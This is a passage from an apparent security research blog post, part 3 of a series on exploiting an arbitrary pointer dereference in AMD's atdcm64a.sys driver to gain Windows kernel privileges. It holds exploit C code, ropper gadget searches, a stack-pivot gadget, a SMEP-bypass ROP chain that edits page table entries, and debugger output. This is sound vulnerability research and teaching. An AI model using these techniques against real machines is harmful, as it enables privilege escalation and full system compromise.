{"id":4100,"date":"2024-10-09T14:53:16","date_gmt":"2024-10-09T12:53:16","guid":{"rendered":"https:\/\/security.humanativaspa.it\/?p=4100"},"modified":"2025-09-24T08:30:01","modified_gmt":"2025-09-24T08:30:01","slug":"exploiting-amd-atdcm64a-sys-arbitrary-pointer-dereference-part-3","status":"publish","type":"post","link":"https:\/\/hnsecurity.it\/it\/blog\/exploiting-amd-atdcm64a-sys-arbitrary-pointer-dereference-part-3\/","title":{"rendered":"Exploiting AMD atdcm64a.sys arbitrary pointer dereference – Part 3"},"content":{"rendered":"

In the previous part<\/a> of the series<\/a> we successfully confirmed the vulnerabilities we discovered<\/a> in our target kernel driver by proving that we can leak the base address of ntoskrnl.exe<\/strong> and hijack the execution flow to an arbitrary location of our choice<\/strong>.<\/p>\n

In this final part, we will craft a full exploit<\/strong> that allows us to enable all privileges on Windows<\/strong>.<\/p>\n

\n
\n

Exploitation<\/h2>\n<\/div>\n<\/div>\n
\n
\n

Now that we’ve confirmed both vulnerabilities we can start crafting an exploit<\/strong>. In this phase the first step is to look for research papers or blog posts showing how to exploit this type of vulnerability. After googling a bit I’ve found an interesting presentation<\/a> showing how to exploit such a vulnerability and what seems the related exploit code<\/a>.<\/p>\n<\/div>\n<\/div>\n

\n
\n

The general idea of the research is the following:<\/p>\n

    \n
  1. Redirect the execution flow to a ROP gadget<\/strong> that allows to perform stack pivoting<\/strong>. In a few words stack pivoting means modifying the stack pointer<\/strong>, that is RSP<\/strong>, to point to an user-mode address X that we control<\/strong>.<\/li>\n
  2. Execute a ROP chain<\/strong> stored at address X<\/strong> that allows to obtain LPE<\/strong>.<\/li>\n
  3. Restore execution.<\/li>\n<\/ol>\n<\/div>\n<\/div>\n

    The exploit shown here won’t work when HVCI<\/a> is enabled.<\/em><\/p>\n

    \n

    Crafting the ROP chain<\/h3>\n
    \n

    In order to retrieve gadgets from ntoskrnl.exe I’ve decided to use ropper<\/a>. A very handy feature of ropper is being able to find specific gadgets based on a syntax similar to “regex”.<\/p>\n<\/div>\n

    \n

    Let’s first look for our pivot gadget<\/em>. We must find a gadget that loads in<\/strong> RSP<\/strong>\u00a0a value that is below the maximum user-mode address and is a multiple of 8<\/strong>. Multiple of 8 means the last 3 bits of the address must be set to 0. Based on the research paper we are referencing, we can also use gadgets that load a value in ESP<\/strong> as the upper 4 bytes of RSP will be set to 0<\/strong>:<\/p>\n<\/div>\n

    \n
    $ python Ropper.py\r\n(ropper)> file \/mnt\/c\/DRIVERS\/windows11_ntoskrnl.exe\r\n[INFO] Load gadgets from cache\r\n[LOAD] loading... 100%\r\n[LOAD] removing double gadgets... 100%\r\n[INFO] File loaded.\r\n(windows11_ntoskrnl.exe\/PE\/x86_64)> search mov rsp, %\r\n[INFO] Searching for gadgets: mov rsp, %\r\n\r\n\r\n[INFO] File: \/mnt\/c\/DRIVERS\/windows11_ntoskrnl.exe\r\n0x00000001404126d8: mov rsp, qword ptr [rcx + 0x10]; jmp rdx;\r\n[...]\r\n0x00000001404200df: mov rsp, rbp; pop rbp; ret;\r\n\r\n\r\n(windows11_ntoskrnl.exe\/PE\/x86_64)> search mov esp, %\r\n[INFO] Searching for gadgets: mov esp, %\r\n\r\n\r\n[INFO] File: \/mnt\/c\/DRIVERS\/windows11_ntoskrnl.exe\r\n[...]\r\n0x0000000140b3a980: mov esp, 0xf6000000; ret;\r\n[...]\r\n0x000000014040ac03: mov esp, ebx; ret;\r\n[...]\r\n\r\n\r\n(windows11_ntoskrnl.exe\/PE\/x86_64)><\/pre>\n<\/div>\n
    \n
    We found two interesting gadgets. Recall that we can control the value of RBX <\/strong>so we control EBX<\/strong>. Let’s inspect the gadgets in WinDbg:<\/p>\n<\/div>\n
    \n
    0: kd> uu nt+0x0b3a980\r\nnt!MxCreatePfn+0x94:\r\nfffff800`2653a980 c22041 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0ret \u00a0 \u00a0 4120h\r\nfffff800`2653a983 83c104 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0add \u00a0 \u00a0 ecx,4\r\nfffff800`2653a986 443bc9 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0cmp \u00a0 \u00a0 r9d,ecx\r\nfffff800`2653a989 72b6 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0jb \u00a0 \u00a0 \u00a0nt!MxCreatePfn+0x55 (fffff800`2653a941)\r\nfffff800`2653a98b 89bb00010000 \u00a0 \u00a0mov \u00a0 \u00a0 dword ptr [rbx+100h],edi\r\nfffff800`2653a991 443bce \u00a0 \u00a0 \u00a0 \u00a0 \u00a0cmp \u00a0 \u00a0 r9d,esi\r\nfffff800`2653a994 0f82ac620100 \u00a0 \u00a0jb \u00a0 \u00a0 \u00a0nt!MiAssignTopLevelRanges+0x12a (fffff800`26550c46)\r\nfffff800`2653a99a 488b6c2428 \u00a0 \u00a0 \u00a0mov \u00a0 \u00a0 rbp,qword ptr [rsp+28h]\r\n0: kd> uu nt+0x040ac03\r\nnt!SymCryptScsTableLoad128Xmm+0x187:\r\nfffff800`25e0ac03 8be3 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0mov \u00a0 \u00a0 esp,ebx\r\nfffff800`25e0ac05 c3 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0ret\r\n[...]\r\n0: kd><\/pre>\n<\/div>\n
    \n
    The first one mov esp, 0xf6000000; ret;<\/code> actually is a ret 4120h<\/code> in WinDbg. On the other hand, the second one matches with what we see in WinDbg, so we choose the second one<\/strong>. We observed previously that rbx<\/code> corresponds to object+0x30<\/code>. So when allocating object<\/code> we just need to call VirtualAlloc()<\/strong><\/em> specifying the address that we want in the first parameter<\/strong>.<\/p>\n<\/div>\n
    \n
    At this point you can try to modify again the function pointer with our stack pivot gadget<\/strong>, set the breakpoints, re-launch the exploit and notice how RSP changes. Below the modified arbitraryCallDriver()<\/em> function.<\/p>\n<\/div>\n<\/div>\n
    \n
    \n
    For the moment the shellcode could be a dummy shellcode made of dummy instructions such as NOPs (\\x90) or whatever you want<\/em>.<\/p>\n<\/div>\n<\/div>\n
    \n
    char shellcode[] = \"\\x48\\x89[...]\\xC3\";\r\n\r\n[...]\r\nBOOL arbitraryCallDriver(PVOID outputBuffer, SIZE_T outSize) {\r\n    char* inputBuffer = (char*)VirtualAlloc(\r\n        NULL,\r\n        21,\r\n        MEM_COMMIT | MEM_RESERVE,\r\n        PAGE_EXECUTE_READWRITE);\r\n\r\n    char* object = (char*)VirtualAlloc(\r\n        (LPVOID)(0x0000001afeffe000),\r\n        0x12000,\r\n        MEM_COMMIT | MEM_RESERVE,\r\n        PAGE_EXECUTE_READWRITE);\r\n    printf(\"[+] object = 0x%p\\n\", object);\r\n    object = (char*)(0x1aff000000 - 0x30);\r\n    printf(\"[+] second object = 0x%p\\n\", object);\r\n\r\n    PDEVICE_OBJECT ptr = (PDEVICE_OBJECT)(object + 0x30);\r\n\r\n    memset(object, 0x41, 0x30);\r\n\r\n    printf(\"[+] ptr = 0x%p\\n\", ptr);\r\n    char* object2 = (char*)VirtualAlloc(\r\n        NULL,\r\n        SIZE_BUF,\r\n        MEM_COMMIT | MEM_RESERVE,\r\n        PAGE_EXECUTE_READWRITE);\r\n\r\n    printf(\"[+] object2 = 0x%p\\n\", object2); \/\/0x0000001af5ff0000\r\n    memset(object2, 0x43, 0x30);\r\n\r\n    char* driverObject = (char*)VirtualAlloc(\r\n        NULL,\r\n        SIZE_BUF,\r\n        MEM_COMMIT | MEM_RESERVE,\r\n        PAGE_EXECUTE_READWRITE);\r\n\r\n    memset(driverObject, 0x50, SIZE_BUF);\r\n    printf(\"[+] driverObject = 0x%p\\n\", driverObject);\r\n    char* ptrDriver = driverObject + 0x30;\r\n    char* pDriverFunction = ptrDriver + 0x1b*8+0x70;\r\n\r\n    *((PDWORD64)pDriverFunction) = g_ntbase+ 0x40ac03;   \/\/mov esp, ebx; ret\r\n\r\n    ptr->AttachedDevice = (PDEVICE_OBJECT)(object2 + 0x30);\r\n\r\n    \r\n    memset(ptr->AttachedDevice, 0x42, SIZE_BUF-0x40);\r\n    \/\/*((DWORD*)ptr->AttachedDevice) = 0xf6000000;\r\n\r\n    printf(\"[+] ptr->AttachedDevice = 0x%p\\n\", ptr->AttachedDevice);\r\n    \r\n    PULONGLONG fake_stack = (PULONGLONG)VirtualAlloc((LPVOID)0x00000000feffe000, 0x12000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);\r\n    \r\n    if (fake_stack == 0) {\r\n        printf(\"[-] VirtualAlloc failed with error: %d\\n\", GetLastError());\r\n        exit(0);\r\n    }\r\n    printf(\"[*] fake_stack = 0x%p\\n\", fake_stack);\r\n\r\n    PULONGLONG ropStack = (PULONGLONG)fake_stack + 0x2000;\r\n\r\n    memset(fake_stack, 0x41, 0x12000);\r\n    \r\n    printf(\"[*] ropStack = 0x%p\\n\", ropStack);\r\n    DWORD index = 0;\r\n\r\n    char* scbase = (char*)VirtualAlloc((LPVOID)0x1a1a1a000000, 0x5000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);\r\n    if (!VirtualLock(scbase, 0x5000)) {\r\n        printf(\"[-] virtualLock failed with error: %d\\n\", GetLastError());\r\n        exit(0);\r\n    }\r\n    memset(scbase, 0x42, 0x5000);\r\n    char* sc = scbase + 0x3500;\r\n    memcpy(sc, shellcode, sizeof(shellcode));\r\n\r\n    printf(\"[*] sc = 0x%p\\n\", sc);\r\n\r\n    \/\/TODO: beginning of rop chain at ropStack\r\n\r\n#ifdef _DEBUG\r\n    for (int i = 0; i < index; i++) {\r\n        printf(\"ropStack[%d] %p : 0x%p\\n\", i, &ropStack[i], ropStack[i]);\r\n    }\r\n#endif\r\n    ptr->AttachedDevice->DriverObject = (_DRIVER_OBJECT*)ptrDriver;\r\n    ptr->AttachedDevice->AttachedDevice = 0;\r\n    char* ptr2 = inputBuffer;\r\n    *(ptr2) = 0;\r\n    ptr2 += 1;\r\n    *((PDWORD64)ptr2) = (DWORD64)ptr;\r\n    \r\n\r\n    printf(\"[+] User buffer allocated: 0x%8p\\n\", inputBuffer);\r\n\r\n    DWORD bytesRet = 0;\r\n\r\n    getchar();\r\n    BOOL res = DeviceIoControl(\r\n        g_device,\r\n        IOCTL_ARBITRARYCALLDRIVER,\r\n        inputBuffer,\r\n        SIZE_BUF,\r\n        outputBuffer,\r\n        outSize,\r\n        &bytesRet,\r\n        NULL\r\n    );\r\n\r\n    printf(\"[*] sent IOCTL_ARBITRARYCALLDRIVER \\n\");\r\n    if (!res) {\r\n        printf(\"[-] DeviceIoControl failed with error: %d\\n\", GetLastError());\r\n    }\r\n    return res;\r\n}\r\n[...]<\/pre>\n
    \n
    \n
    The idea of the code above is to allocate object<\/code> in a way that points at address 0x0000001afeffffd0<\/code>. This way our first rogue _DRIVER_OBJECT<\/em> will point to address object+0x30 = 0x0000001aff000000<\/code>.<\/p>\n<\/div>\n
    \n
    When reaching the jmp rax<\/code> instruction RBX<\/strong> will contain the value 0x0000001aff000000<\/code> that is object+0x30<\/code>. This means that when we execute our stack pivoting gadget mov esp, ebx; ret<\/code> RSP<\/strong> will be loaded with value 0x00000000ff000000<\/code>.<\/p>\n<\/div>\n
    \n
    And in fact our ropStack<\/strong> variable will exactly point at address 0x00000000ff000000<\/code>. So we are left with filling the memory referenced by ropStack<\/strong> with a ROP chain that bypasses SMEP<\/strong> and finally redirects execution to our shellcode<\/strong>.<\/p>\n<\/div>\n
    Here I provided a diagram that hopefully summarizes the different data structures in user-space memory with their addresses:<\/div>\n
    \n
    \"\"
    Diagram of the structures allocated by arbitraryCallDriver()<\/figcaption><\/figure>\n<\/div>\n<\/div>\n<\/div>\n
    \n
    First SMEP bypass ROP Chain<\/h4>\n
    \n
    Now we can start crafting our ROP chain in order to bypass SMEP. Initially I crafted the following ROP chain (g_ntbase<\/strong> holds the base address of ntoskrnl.exe<\/strong>. I remind we can retrieve it by exploiting the arbitrary MSR read<\/strong>).<\/p>\n<\/div>\n
    \/\/<call MiGetPteAddress in order to get PTE. PTE address returned in rax>\r\nropStack[index] = g_ntbase + 0x2053e5; index++; \/\/ pop rcx; ret;\r\nropStack[index] = (ULONGLONG)(scbase+0x3000); index++; \u00a0 \u00a0 \u00a0 \u00a0 \u00a0\/\/ shellcode address pte\r\nropStack[index] = g_ntbase + 0x203beb; index++; \/\/ pop rax; ret;\r\nropStack[index] = g_ntbase + 0x2abae4; index++; \/\/address of nt!MiGetPteAddress\r\nropStack[index] = g_ntbase + 0x2803b8; index++; \/\/ jmp rax;\r\n\/\/ <call MiGetPteAddress in order to get PTE. PTE address returned in rax>\r\n\r\n\r\n\/\/ <Flip U=S bit> \u00a0PTE VA already in rax\r\nropStack[index] = g_ntbase + 0x20FA62; index++; \/\/ pop rcx; ret;\r\nropStack[index] = 0x0000000000000063; index++; \u00a0\/\/ DIRTY + ACCESSED + R\/W + PRESENT\r\nropStack[index] = g_ntbase + 0x4531f1; index++; \/\/ mov byte ptr[rax], cl; ret;\r\nropStack[index] = g_ntbase + 0x370050; index++; \/\/ wbinvd; ret;\r\n\/\/ <\/Flip U=S bit>\r\n\r\n\r\n\/\/ <shellcode>\r\nropStack[index] = (ULONGLONG)sc; index++; \u00a0 \u00a0 \u00a0\/\/ Shellcode address\r\n\/\/ <shellcode><\/pre>\n
    \n
    The ROP chain above does the following:<\/p>\n
      \n
    1. Call nt!MiGetPteAddress<\/code> passing as input the address of our shellcode<\/strong> (later we will think about the shellcode too), in order to retrieve the address of the corresponding PTE<\/strong>, and stores the result in RAX<\/strong>.<\/li>\n
    2. Set the bits DIRTY, ACCESSED, R\/W, and PRESENT to 1<\/strong> and OWNER bit<\/strong> to<\/strong> 0<\/strong> of the PTE<\/strong>.<\/li>\n
    3. Execute the instruction wbinvd<\/code> in order to flush the instruction cache<\/strong> and ensure<\/strong> ROP gadgets are executed and the PTE is modified<\/strong>.<\/li>\n
    4. Execute the shellcode.<\/li>\n<\/ol>\n<\/div>\n
      \n
      So now we can just recompile the exploit, set a breakpoint<\/strong> at the first gadget of our ROP chain<\/strong> and launch it (at this point I think it’s unnecessary to use the IDA Pro Debugger so I suggest switching to WinDbg). You can see the breakpoint gets hit:<\/p>\n<\/div>\n
      \n
      0: kd> ba e 1 nt+0x2053e5\r\n0: kd> g\r\nBreakpoint 0 hit\r\nnt!KeRemoveQueueDpcEx+0x125:\r\nfffff800`25c053e5 59 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0pop \u00a0 \u00a0 rcx\r\n0: kd> r\r\nrax=fffff80025e0ac03 rbx=0000001aff000000 rcx=000001f6a94d0030\r\nrdx=ffffe18f37ad8000 rsi=ffffe18f365aa00d rdi=000001f6a94d0030\r\nrip=fffff80025c053e5 rsp=00000000ff000008 rbp=0000000000000000\r\n\u00a0r8=000000000000001b \u00a0r9=000001f6a94d0030 r10=fffff80025e0ac03\r\nr11=0000000000000000 r12=0000000000000004 r13=ffffe18f35dfa4c0\r\nr14=ffffe18f35dfa3f0 r15=0000000000000000\r\niopl=0 \u00a0 \u00a0 \u00a0 \u00a0 nv up ei pl zr na po nc\r\ncs=0010 \u00a0ss=0018 \u00a0ds=002b \u00a0es=002b \u00a0fs=0053 \u00a0gs=002b \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 efl=00040246\r\nnt!KeRemoveQueueDpcEx+0x125:\r\nfffff800`25c053e5 59 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0pop \u00a0 \u00a0 rcx\r\n0: kd> p\r\nKDTARGET: Refreshing KD connection\r\n\r\n\r\n*** Fatal System Error: 0x0000000a\r\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0(0x00000000FEFFF319,0x00000000000000FF,0x00000000000000F6,0xFFFFF80025E18BE0)\r\n\r\n\r\n[...]\r\n0: kd> !analyze -v\r\n[...]\r\n\r\n\r\nIRQL_NOT_LESS_OR_EQUAL (a)\r\nAn attempt was made to access a pageable (or completely invalid) address at an\r\ninterrupt request level (IRQL) that is too high. \u00a0This is usually\r\ncaused by drivers using improper addresses.\r\nIf a kernel debugger is available get the stack backtrace.\r\nArguments:\r\nArg1: 00000000fefff319, memory referenced\r\nArg2: 00000000000000ff, IRQL\r\nArg3: 00000000000000f6, bitfield :\r\n\u00a0 \u00a0 bit 0 : value 0 = read operation, 1 = write operation\r\n\u00a0 \u00a0 bit 3 : value 0 = not an execute operation, 1 = execute operation (only on chips which support this level of status)\r\nArg4: fffff80025e18be0, address which referenced memory\r\n\r\n\r\nDebugging Details:\r\n------------------\r\n\r\n\r\n[...]\r\n\r\n\r\nBUGCHECK_CODE: \u00a0a\r\n\r\n\r\nBUGCHECK_P1: fefff319\r\n\r\n\r\nBUGCHECK_P2: ff\r\n\r\n\r\nBUGCHECK_P3: f6\r\n\r\n\r\nBUGCHECK_P4: fffff80025e18be0\r\n\r\n\r\n[...]\r\nA fatal system error has occurred.\r\nDebugger entered on first try; Bugcheck callbacks have not been invoked.\r\n\r\n\r\nA fatal system error has occurred.\r\n\r\n\r\n0: kd> k\r\n\u00a0# Child-SP \u00a0 \u00a0 \u00a0 \u00a0 \u00a0RetAddr \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 Call Site\r\n00 fffff800`28a944c8 fffff800`25f668e2 \u00a0 \u00a0 nt!DbgBreakPointWithStatus\r\n01 fffff800`28a944d0 fffff800`25f65fa3 \u00a0 \u00a0 nt!KiBugCheckDebugBreak+0x12\r\n02 fffff800`28a94530 fffff800`25e16c07 \u00a0 \u00a0 nt!KeBugCheck2+0xba3\r\n03 fffff800`28a94ca0 fffff800`25e2c4e9 \u00a0 \u00a0 nt!KeBugCheckEx+0x107\r\n04 fffff800`28a94ce0 fffff800`25e27a34 \u00a0 \u00a0 nt!KiBugCheckDispatch+0x69\r\n05 fffff800`28a94e20 fffff800`25e18be0 \u00a0 \u00a0 nt!KiPageFault+0x474\r\n06 fffff800`28a94fb0 fffff800`25e19567 \u00a0 \u00a0 nt!KiInterruptSubDispatchNoLockNoEtw+0x20\r\n07 00000000`fefff2f0 fffff800`25d1375f \u00a0 \u00a0 nt!KiInterruptDispatchNoLockNoEtw+0x37\r\n08 00000000`fefff480 fffff800`264ae2a6 \u00a0 \u00a0 nt!KeThawExecution+0xef\r\n09 00000000`fefff4b0 fffff800`25d0b38a \u00a0 \u00a0 nt!KdExitDebugger+0xc2\r\n0a 00000000`fefff4e0 fffff800`264ae117 \u00a0 \u00a0 nt!KdpReport+0x136\r\n0b 00000000`fefff520 fffff800`25d0a93e \u00a0 \u00a0 nt!KdpTrap+0x37\r\n0c 00000000`fefff570 fffff800`25d0981f \u00a0 \u00a0 nt!KdTrap+0x22\r\n0d 00000000`fefff5b0 fffff800`25e2c63c \u00a0 \u00a0 nt!KiDispatchException+0x19f\r\n0e 00000000`fefffc90 fffff800`25e24423 \u00a0 \u00a0 nt!KiExceptionDispatch+0x13c\r\n0f 00000000`fefffe70 fffff800`25c053e5 \u00a0 \u00a0 nt!KxDebugTrapOrFault+0x423\r\n10 00000000`ff000008 fffff800`25c03beb \u00a0 \u00a0 nt!KeRemoveQueueDpcEx+0x125\r\n11 00000000`ff000018 00001a1a`1a003500 \u00a0 \u00a0 nt!CmSiMapViewOfSection+0x57\r\n12 00000000`ff000078 41414141`41414141 \u00a0 \u00a0 0x00001a1a`1a003500\r\n13 00000000`ff000080 41414141`41414141 \u00a0 \u00a0 0x41414141`41414141\r\n14 00000000`ff000088 41414141`41414141 \u00a0 \u00a0 0x41414141`41414141\r\n15 00000000`ff000090 41414141`41414141 \u00a0 \u00a0 0x41414141`41414141\r\n[...]<\/pre>\n<\/div>\n
      \n
      You can see an error happened when trying to dereference memory at address 0x00000000fefff319<\/code> close to our ropStack<\/strong>. I thought it may happen due to a page fault<\/strong> (as you can read from WinDbg). So I tried modifying the code as follows:<\/p>\n<\/div>\n
      \n
      [...]\r\nif (!VirtualLock((char*)ropStack - 0x3000, 0x10000)) {\r\n\u00a0 \u00a0 \u00a0 \u00a0 printf(\"[-] virtualLock failed with error: %d\\n\", GetLastError());\r\n\u00a0 \u00a0 \u00a0 \u00a0 exit(0);\r\n\u00a0 \u00a0 }\r\n[...]<\/pre>\n
      The idea is to call VirtualLock()<\/strong><\/em> on the pages containing our ROP chain and also on the adjacent pages. Based on MSDN<\/a>, this Win32 API is supposed to lock the pages in physical memory<\/strong> and should therefore avoid page faults. However, I wasn’t able to solve the issue.<\/p>\n<\/div>\n
      \n
      On the other hand I noticed analyzing the stack trace a couple of functions such as nt!KdTrap<\/em>\u00a0and nt!KdExitDebugger<\/em>. So I thought maybe the issue is stepping with the debugger<\/strong>. In fact, if you try to set a breakpoint<\/strong>\u00a0for example on the fifth ROP gadget<\/strong>, you will notice the breakpoint gets hit confirming the ROP gadgets are actually executed successfully!<\/strong><\/p>\n
      So, it looks like we just can’t debug our ROP chain<\/strong> but we can execute it \ud83d\ude05<\/strong><\/p>\n<\/div>\n
      \n
      If we set a breakpoint<\/strong> directly to the first instruction of our shellcode<\/strong> we can see we successfully hit the breakpoint. At this point we can also notice the owner bit of the shellcode’s PTE is set to 0<\/strong> (supervisor mode<\/strong>) confirming the ROP chain was successful:<\/p>\n<\/div>\n
      \n
      0: kd> !process 0 0 DrvExpTemplate.exe\r\nPROCESS ffffe18f36e9e0c0\r\n\u00a0 \u00a0 SessionId: 1 \u00a0Cid: 06f0 \u00a0 \u00a0Peb: ae8969f000 \u00a0ParentCid: 0720\r\n\u00a0 \u00a0 DirBase: 119fd2002 \u00a0ObjectTable: ffff9602fa50b4c0 \u00a0HandleCount: \u00a051.\r\n\u00a0 \u00a0 Image: DrvExpTemplate.exe\r\n\r\n\r\n0: kd> .process \/r \/p \/i ffffe18f36e9e0c0\r\nYou need to continue execution (press 'g' <enter>) for the context\r\nto be switched. When the debugger breaks in again, you will be in\r\nthe new process context.\r\n0: kd> g\r\nBreak instruction exception - code 80000003 (first chance)\r\nnt!DbgBreakPointWithStatus:\r\nfffff800`25e20ca0 cc \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0int \u00a0 \u00a0 3\r\n1: kd> dx @$curprocess.Name\r\n@$curprocess.Name : DrvExpTemplate.exe\r\n\u00a0 \u00a0 Length \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 : 0x12\r\n1: kd> ba e 1 0x00001a1a1a003500\r\n1: kd> g\r\n... Retry sending the same data packet for 64 times.\r\nThe transport connection between host kernel debugger and target Windows seems lost.\r\nplease try resync with target, recycle the host debugger, or reboot the target Windows.\r\nBreakpoint 0 hit\r\n00001a1a`1a003500 4889c2 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0mov \u00a0 \u00a0 rdx,rax\r\n0: kd> !pte 0x00001a1a1a003500\r\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0VA 00001a1a1a003500\r\nPXE at FFFFFEFF7FBFD1A0 \u00a0 \u00a0PPE at FFFFFEFF7FA34340 \u00a0 \u00a0PDE at FFFFFEFF46868680 \u00a0 \u00a0PTE at FFFFFE8D0D0D0018\r\ncontains 8A00000222774867 \u00a0contains 0A00000129075867 \u00a0contains 0A000001BBD76867 \u00a0contains 08000001BCC7A863\r\npfn 222774 \u00a0 \u00a0---DA--UW-V \u00a0pfn 129075 \u00a0 \u00a0---DA--UWEV \u00a0pfn 1bbd76 \u00a0 \u00a0---DA--UWEV \u00a0pfn 1bcc7a \u00a0 \u00a0---DA--KWEV<\/pre>\n<\/div>\n
      \n
      Now, let’s try to set a breakpoint at the second instruction<\/strong> in the shellcode and see if we hit it:<\/p>\n<\/div>\n
      \n
      0: kd> !process 0 0 DrvExpTemplate.exe\r\nPROCESS ffffe18f3578e0c0\r\n\u00a0 \u00a0 SessionId: 1 \u00a0Cid: 0c08 \u00a0 \u00a0Peb: ede7a83000 \u00a0ParentCid: 0720\r\n\u00a0 \u00a0 DirBase: 1b7fd5002 \u00a0ObjectTable: ffff9602ff106c40 \u00a0HandleCount: \u00a051.\r\n\u00a0 \u00a0 Image: DrvExpTemplate.exe\r\n\r\n\r\n0: kd> .process \/r \/i \/p ffffe18f3578e0c0\r\nYou need to continue execution (press 'g' <enter>) for the context\r\nto be switched. When the debugger breaks in again, you will be in\r\nthe new process context.\r\n0: kd> g\r\nBreak instruction exception - code 80000003 (first chance)\r\nnt!DbgBreakPointWithStatus:\r\nfffff800`25e20ca0 cc \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0int \u00a0 \u00a0 3\r\n1: kd> dx @$curprocess.Name\r\n@$curprocess.Name : DrvExpTemplate.exe\r\n\u00a0 \u00a0 Length \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 : 0x12\r\n1: kd> uu 00001a1a`1a003500 L3\r\n00001a1a`1a003500 4889c2 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0mov \u00a0 \u00a0 rdx,rax\r\n00001a1a`1a003503 488b08 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0mov \u00a0 \u00a0 rcx,qword ptr [rax]\r\n00001a1a`1a003506 480fbae902 \u00a0 \u00a0 \u00a0bts \u00a0 \u00a0 rcx,2\r\n1: kd> ba e 1 00001a1a`1a003503\r\n1: kd><\/pre>\n<\/div>\n
      \n
      We launch again the exploit and the VM just restarts<\/strong>.<\/p>\n<\/div>\n<\/div>\n
      \n
      Kernel Virtual Address Shadow<\/h4>\n
      \n
      The issue with our SMEP bypass strategy is that it is suitable for versions of Windows 10<\/strong> released before March 2018<\/strong>. After that, Microsoft introduced Kernel Virtual Address Shadow<\/strong>, a protection technique for mitigating Meltdown vulnerability<\/a>, having also the secondary effect of preventing kernel-mode execution in user-mode code<\/strong>.<\/p>\n<\/div>\n
      This article<\/a> was definitely helpful in understanding Kernel Virtual Address Shadow<\/strong>\u00a0and how to bypass it.<\/div>\n
      \n
      Referring to the article, it is possible to detect if KVA is enabled by checking the PML4 entry<\/strong> (PML4E)<\/strong> of our shellcode’s address. In fact we already did it in WinDbg:<\/p>\n<\/div>\n
      \n
      0: kd> !pte 0x00001a1a1a003500\r\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0VA 00001a1a1a003500\r\nPXE at FFFFFEFF7FBFD1A0 \u00a0 \u00a0PPE at FFFFFEFF7FA34340 \u00a0 \u00a0PDE at FFFFFEFF46868680 \u00a0 \u00a0PTE at FFFFFE8D0D0D0018\r\ncontains 8A00000222774867 \u00a0contains 0A00000129075867 \u00a0contains 0A000001BBD76867 \u00a0contains 08000001BCC7A863\r\npfn 222774 \u00a0 \u00a0---DA--UW-V \u00a0pfn 129075 \u00a0 \u00a0---DA--UWEV \u00a0pfn 1bbd76 \u00a0 \u00a0---DA--UWEV \u00a0pfn 1bcc7a \u00a0 \u00a0---DA--KWEV<\/pre>\n
      We can see bits of our PML4 entry (known as PX entry <\/strong>or PXE<\/strong> in Windows) are ---DA--UW-V<\/code>. So It’s not executable<\/strong> (the E<\/code> flag doesn’t appear in WinDbg) as explained in the article.<\/p>\n<\/div>\n
      \n
      According to the article, the strategy for bypassing KVA and SMEP<\/strong> is the following:<\/p>\n
        \n
      1. Retrieve the PML4E’s address<\/strong>.<\/li>\n
      2. Set bit at index 63 (NX bit)<\/strong> and bit at index 2 (Owner bit)<\/strong> to 0<\/strong> of the PML4E<\/strong>, in order to make the PML4E both executable and with Owner = supervisor<\/strong> (in a x64 architecture, PML4E is a 64 bits value with indexes going from 0 to 63<\/strong>).<\/li>\n<\/ol>\n<\/div>\n
        A note on SMEP bypass using the CR4 register technique<\/h4>\n
        At this point it would be probably easier to disable SMEP by just using the technique that clears the bit at index 20 of the CR4 register<\/strong>.<\/p>\n
        However, I didn’t like the idea of possibly triggering PatchGuard<\/strong><\/a>. In addition, using ropper I couldn’t find “nice gadgets” that allow to modify the CR4 register.<\/p>\n
        Here’s the output of ropper looking for gadgets that save the CR4 register in another one:<\/p>\n
        (windows11_ntoskrnl.exe\/PE\/x86_64)> search % %, cr4\r\n[INFO] Searching for gadgets: % %, cr4\r\n\r\n[INFO] File: \/mnt\/c\/DRIVERS\/windows11_ntoskrnl.exe\r\n0x0000000140b14519: add dword ptr [rbp - 0xf], esi; mov rax, cr4; or rax, 0x40; mov cr4, rax; ret;\r\n0x0000000140b1451a: jne 0xb1450d; mov rax, cr4; or rax, 0x40; mov cr4, rax; ret;\r\n0x000000014042815d: mov r9, cr4; mov r8, cr0; mov ecx, 0x7f; call 0x42c480; nop; ret;\r\n0x0000000140b1451c: mov rax, cr4; or rax, 0x40; mov cr4, rax; ret;\r\n0x000000014042815e: mov rcx, cr4; mov r8, cr0; mov ecx, 0x7f; call 0x42c480; nop; ret;\r\n0x0000000140b14517: sub eax, 1; jne 0xb1450d; mov rax, cr4; or rax, 0x40; mov cr4, rax; ret;\r\n0x0000000140b14516: sub r8, 1; jne 0xb1450d; mov rax, cr4; or rax, 0x40; mov cr4, rax; ret;\r\n0x0000000140b1451b: int1; mov rax, cr4; or rax, 0x40; mov cr4, rax; ret;\r\n\r\n(windows11_ntoskrnl.exe\/PE\/x86_64)> search % cr4\r\n[INFO] 